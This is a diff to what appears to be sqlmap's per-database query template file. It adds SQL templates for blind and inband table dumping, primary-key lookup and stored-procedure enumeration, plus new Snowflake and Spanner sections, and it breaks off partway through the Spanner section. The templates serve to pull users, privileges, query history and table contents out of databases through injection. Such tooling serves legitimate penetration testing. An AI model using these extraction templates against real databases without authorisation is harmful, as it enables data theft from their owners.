+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY'" query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY' ORDER BY ORDINAL_POSITION LIMIT %d,1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
@@ -122,6 +127,10 @@
             <inband query="SELECT query FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
             <blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
         </statements>
+        <procedures>
+            <inband query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
+            <blind query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
+        </procedures>
         <dbs>
             <inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
             <blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
@@ -136,7 +145,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position OFFSET %d LIMIT 1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
@@ -193,6 +203,11 @@
             <inband query="SELECT st.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
             <blind query="SELECT TOP 1 a.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) a WHERE a.text NOT IN (SELECT TOP %d b.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) b ORDER BY b.text) ORDER BY a.text" count="SELECT LTRIM(STR(COUNT(st.text))) FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
         </statements>
+        <!-- NOTE: o.type_desc carries SQL Server's fixed catalog-metadata collation (Latin1_General_CI_AS_KS_WS), which clashes with m.definition's database collation under '+' ("cannot resolve collation conflict"). Coercing the catalog string columns to DATABASE_DEFAULT makes the whole concat single-collation. o.name is usually already the database collation so its COLLATE is a no-op, but it is coerced too defensively, since catalog name-column collation can vary by version/config. -->
+        <procedures>
+            <inband query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
+            <blind query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF') ORDER BY o.name OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT LTRIM(STR(COUNT(*))) FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
+        </procedures>
         <dbs>
             <inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
             <blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
@@ -207,7 +222,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s"/>
-            <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
+            <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT TOP 1 %s FROM %s WHERE %s ORDER BY %s" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')" query="SELECT name FROM (SELECT c.name AS name, ROW_NUMBER() OVER (ORDER BY ic.key_ordinal) AS rn FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id JOIN sys.columns c ON ic.object_id=c.object_id AND c.column_id=ic.column_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')) x WHERE rn=%d+1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
@@ -287,6 +303,11 @@
             <inband query="SELECT SQL_TEXT FROM V$SQL"/>
             <blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS CAP FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE CAP=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/>
         </statements>
+        <!-- NOTE: ALL_SOURCE stores one row per source line, so LISTAGG reassembles them (subject to its 4000-char limit). ORACLE_MAINTAINED='N' (12.2+) cleanly excludes every Oracle built-in schema (SYS, WMSYS, LBACSYS, DVSYS, ...) instead of a hand-maintained blocklist. -->
+        <procedures>
+            <inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
+            <blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
+        </procedures>
         <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
         <dbs>
             <inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
@@ -302,7 +323,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
-            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT c FROM (SELECT %s AS c FROM %s WHERE %s ORDER BY %s) WHERE ROWNUM=1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')" query="SELECT column_name FROM (SELECT cols.column_name, ROW_NUMBER() OVER (ORDER BY cols.position) AS rn FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')) WHERE rn=%d+1"/>
         </dump_table>
         <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
         <search_db>
@@ -362,7 +384,7 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s" rowid="rowid" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
         </dump_table>
         <search_db/>
         <search_table>
@@ -442,16 +464,16 @@
         <column_comment/>
         <is_dba query="CURRENT_USER='SYSDBA'"/>
         <users>
-            <inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES"/>
-            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
+            <inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
+            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
         </users>
         <tables>
             <inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
             <blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
         </tables>
         <privileges>
-            <inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
-            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>
+            <inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" condition="RDB$USER"/>
+            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8"/>
         </privileges>
         <roles/>
         <statements/>
@@ -726,7 +748,8 @@
             <inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" condition="column_name"/>
         </columns>
         <dump_table>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
         </dump_table>
         <search_db>
@@ -790,7 +813,8 @@
             <inband query="SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition="COLUMN_NAME" query2="SELECT COLUMN_NAME,TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition2="COLUMN_NAME"/>
         </columns>
         <dump_table>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
         </dump_table>
         <search_db>
@@ -1136,9 +1160,9 @@
         <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
         <hex query="TO_HEX(%s)"/>
         <inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version="&gt;=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
-        <banner/>
+        <banner query="version()"/>
         <current_user query="CURRENT_USER"/>
-        <current_db/>
+        <current_db query="current_schema"/>
         <hostname/>
         <table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
         <column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
@@ -1321,7 +1345,7 @@
     </dbms>
 
     <dbms value="ClickHouse">
-        <cast query="CAST(%s AS String)"/>
+        <cast query="CAST(%s AS Nullable(String))"/>
         <length query="length(%s)"/>
         <isnull query="ifNull(%s, '')"/>
         <delimiter query="||"/>
@@ -1424,7 +1448,7 @@
         <passwords/>
         <privileges>
             <inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
-            <blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee %s '%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee %s '%s'"/>
+            <blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee='%s'"/>
         </privileges>
         <roles/>
         <statements>
@@ -1445,7 +1469,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position LIMIT 1 OFFSET %d"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
@@ -1713,6 +1738,7 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (IF(%s,1,0))"/>
         <inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
         <banner/>
         <current_user/>
         <current_db/>
@@ -1752,6 +1778,7 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
         <banner query="sys_stat('st_dbms_name')||' - '||sys_stat('st_dbms_ver')"/>
         <current_user query="USERNAME()"/>
         <current_db query="UPPER(USERNAME())"/>
@@ -1786,4 +1813,125 @@
         <search_table/>
         <search_column/>
    </dbms>
+
+    <dbms value="Snowflake">
+        <cast query="CAST(%s AS VARCHAR)"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="NVL(%s, ' ')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d OFFSET %d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)"/>
+        <limitgroupstart query="2"/>
+        <limitgroupstop query="1"/>
+        <limitstring query=" LIMIT "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
+        <inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
+        <substring query="SUBSTR((%s),%d,%d)"/>
+        <banner query="CURRENT_VERSION()"/>
+        <current_user query="CURRENT_USER()"/>
+        <current_db query="CURRENT_SCHEMA()"/>
+        <hostname query="PARSE_JSON(SYSTEM$ALLOWLIST())[0]:host"/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba query="CURRENT_ROLE()='ACCOUNTADMIN'"/>
+        <dbs>
+            <inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA"/>
+            <blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES" condition="TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA"/>
+            <blind query="SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s' ORDER BY TABLE_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s'"/>
+            <blind query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" query2="SELECT DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND TABLE_SCHEMA='%s'" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s'"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s"/>
+        </dump_table>
+        <users>
+            <inband query="SELECT NAME FROM SNOWFLAKE.ACCOUNT_USAGE.USERS"/>
+            <blind query="SELECT NAME FROM SNOWFLAKE.ACCOUNT_USAGE.USERS LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SNOWFLAKE.ACCOUNT_USAGE.USERS"/>
+        </users>
+        <roles/>
+        <privileges>
+            <inband query="SELECT DISTINCT T1.GRANTEE_NAME, T2.PRIVILEGE FROM SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_USERS AS T1 JOIN SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_ROLES AS T2 ON T1.ROLE = T2.GRANTEE_NAME" condition="T1.GRANTEE_NAME"/>
+            <blind query="SELECT DISTINCT T2.PRIVILEGE FROM SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_USERS AS T1 JOIN SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_ROLES AS T2 ON T1.ROLE = T2.GRANTEE_NAME WHERE T1.GRANTEE_NAME='%s' ORDER BY T2.PRIVILEGE LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT T2.PRIVILEGE) FROM SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_USERS AS T1 JOIN SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_ROLES AS T2 ON T1.ROLE = T2.GRANTEE_NAME WHERE T1.GRANTEE_NAME='%s'"/>
+        </privileges>
+        <statements>
+            <inband query="SELECT QUERY_TEXT FROM TABLE(INFORMATION_SCHEMA.QUERY_HISTORY())"/>
+            <blind query="SELECT QUERY_TEXT FROM TABLE(INFORMATION_SCHEMA.QUERY_HISTORY()) ORDER BY START_TIME DESC LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM TABLE(INFORMATION_SCHEMA.QUERY_HISTORY())"/>
+        </statements>
+        <search_db/>
+        <search_table/>
+        <search_column/>
+    </dbms>
+
+    <dbms value="Spanner">
+        <cast query="CAST(%s AS STRING)"/>
+        <length query="CHAR_LENGTH(CAST(%s AS STRING))"/>
+        <isnull query="IFNULL(CAST(%s AS STRING),' ')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d OFFSET %d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="2"/>
+        <limitgroupstop query="1"/>
+        <limitstring query=" OFFSET "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--" query2="#"/>
+        <substring query="SUBSTR(CAST((%s) AS STRING),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <hex query="TO_HEX(CAST(%s AS BYTES))"/>
+        <inference query="TO_CODE_POINTS(SUBSTR(CAST((%s) AS STRING),%d,1))[SAFE_OFFSET(0)]>%d"/>
+        <banner query="'Google Cloud Spanner'"/>
+        <current_user/>
